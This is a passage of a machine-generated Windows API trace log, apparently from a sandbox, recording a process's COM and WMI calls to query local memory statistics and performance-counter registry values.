Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d217ff0) returned 0x0 [0272.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d217ff0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0272.526] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d217ff0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b293da0) returned 0x0 [0272.526] WbemDefPath:IUnknown:Release (This=0x1d217ff0) returned 0x0 [0272.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b293da0) returned 0x0 [0272.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0272.526] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0272.527] WbemDefPath:IUnknown:AddRef (This=0x1b293da0) returned 0x3 [0272.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0272.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0272.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218430) returned 0x0 [0272.527] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218430, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.527] WbemDefPath:IUnknown:Release (This=0x1d218430) returned 0x3 [0272.527] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0272.527] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0272.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0272.528] WbemDefPath:IUnknown:Release (This=0x1b293da0) returned 0x2 [0272.528] WbemDefPath:IUnknown:Release (This=0x1b293da0) returned 0x1 [0272.528] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0272.528] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0272.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b293da0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b293da0) returned 0x0 [0272.528] WbemDefPath:IUnknown:AddRef (This=0x1b293da0) returned 0x3 [0272.528] WbemDefPath:IUnknown:Release (This=0x1b293da0) returned 0x2 [0272.528] WbemDefPath:IWbemPath:SetText (This=0x1b293da0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0272.528] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0272.528] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0272.528] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0272.529] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0272.529] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.529] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777af8*=0, plFlavor=0x2777afc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2777af8*=21, plFlavor=0x2777afc*=0) returned 0x0 [0272.529] SysStringByteLen (bstr="1359840") returned 0xe [0272.529] SysStringByteLen (bstr="1359840") returned 0xe [0272.529] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777af8*=21, plFlavor=0x2777afc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x2777af8*=21, plFlavor=0x2777afc*=0) returned 0x0 [0272.530] SysStringByteLen (bstr="1359840") returned 0xe [0272.530] SysStringByteLen (bstr="1359840") returned 0xe [0272.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0272.530] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0272.530] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.531] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777cf0*=0, plFlavor=0x2777cf4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2777cf0*=21, plFlavor=0x2777cf4*=0) returned 0x0 [0272.531] SysStringByteLen (bstr="2096620") returned 0xe [0272.531] SysStringByteLen (bstr="2096620") returned 0xe [0272.531] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777cf0*=21, plFlavor=0x2777cf4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2777cf0*=21, plFlavor=0x2777cf4*=0) returned 0x0 [0272.531] SysStringByteLen (bstr="2096620") returned 0xe [0272.531] SysStringByteLen (bstr="2096620") returned 0xe [0272.531] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0272.532] WbemLocator:IUnknown:Release (This=0x1b203878) returned 0x1 [0272.532] IUnknown:Release (This=0x1b286080) returned 0x0 [0274.610] GetTickCount64 () returned 0x1ac1454 [0274.611] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0274.612] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x265a5e8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x265a5e8*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0274.615] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0274.615] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x266ba00, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x266ba00*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0274.625] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0274.625] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0274.625] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.626] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0274.626] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0274.626] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0274.626] IUnknown:Release (This=0x77dd58) returned 0x1 [0274.627] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d217f30) returned 0x0 [0274.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217f30, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0274.628] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d217f30, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218410) returned 0x0 [0274.628] WbemLocator:IUnknown:Release (This=0x1d217f30) returned 0x0 [0274.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218410) returned 0x0 [0274.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0274.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0274.628] WbemLocator:IUnknown:AddRef (This=0x1d218410) returned 0x3 [0274.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0274.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0274.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0274.629] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0274.629] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0274.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0274.629] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x2 [0274.629] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x1 [0274.629] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0274.629] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0274.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218410) returned 0x0 [0274.629] WbemLocator:IUnknown:AddRef (This=0x1d218410) returned 0x3 [0274.629] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x2 [0274.629] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0274.629] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0274.629] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.630] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d217ef0) returned 0x0 [0274.630] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d217ef0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28fff0) returned 0x0 [0274.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fff0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202650) returned 0x0 [0274.658] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202650, pProxy=0x1d28fff0, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0274.658] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x1 [0274.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fff0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202698) returned 0x0 [0274.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fff0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202650) returned 0x0 [0274.659] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202650, pProxy=0x1d28fff0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0274.659] WbemLocator:IUnknown:Release (This=0x1b202650) returned 0x2 [0274.659] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0274.659] CoTaskMemFree (pv=0x1d1e67b0) [0274.659] WbemLocator:IUnknown:Release (This=0x1d217ef0) returned 0x0 [0274.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fff0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202698) returned 0x0 [0274.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0274.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0274.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fff0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0274.661] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0274.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0274.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0274.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202578) returned 0x0 [0274.661] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0274.661] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0274.661] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0274.661] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0274.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202660) returned 0x0 [0274.662] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0274.662] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0274.662] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0274.662] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0274.662] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0274.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28fff0) returned 0x0 [0274.662] WbemLocator:IUnknown:AddRef (This=0x1d28fff0) returned 0x4 [0274.662] WbemLocator:IUnknown:Release (This=0x1d28fff0) returned 0x3 [0274.662] WbemLocator:IUnknown:Release (This=0x1d28fff0) returned 0x2 [0274.662] SysStringLen (param_1=0x0) returned 0x0 [0274.662] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0274.662] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0274.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202698) returned 0x0 [0274.663] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x3 [0274.663] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0274.663] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0274.663] WbemLocator:IUnknown:AddRef 